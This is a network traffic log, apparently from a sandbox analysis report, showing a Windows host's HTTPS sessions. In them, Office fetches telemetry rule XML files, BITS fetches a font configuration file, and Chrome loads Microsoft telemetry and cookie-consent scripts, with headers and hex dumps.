2024-12-01 02:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 96139815-c01e-0046-2141-402db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023312Z-174f7845968frfdmhC1EWRxxbw00000012f0000000000ggr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:12 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:12 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:12 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b06c69a3-d01e-008e-61b3-42387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023312Z-174f7845968frfdmhC1EWRxxbw00000012ag00000000b4m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	49842	184.30.17.174	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:12 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-01 02:33:13 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0SyaoYgAAAACHM3u5nQtYS605XTu+5FyaTE9OMjFFREdFMDIxMgBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=60205 Date: Sun, 01 Dec 2024 02:33:12 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-01 02:33:13 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	49843	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:12 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-01 02:33:13 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:13 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241201T023313Z-174f7845968vqt9xhC1EWRgten00000012dg000000004187 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:13 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-12-01 02:33:13 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-12-01 02:33:14 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-12-01 02:33:14 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 32ac451f-a01e-0050-6491-3fdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023313Z-174f7845968xr5c2hC1EWRd0hn0000000m4g00000000apt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:33:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	49846	13.107.246.63	443	344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:33:13 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-01 02:33:13 UTC	713	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:33:13 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 26859 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 77714c15-501e-0004-485a-434dd8000000 x-ms-version: 2009-09-19 x-azure-ref: 20241201T023313Z-174f7845968kdththC1EWRzvxn0000000em000000000fuhn Accept-Ranges: bytes
2024-12-01 02:33:13 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
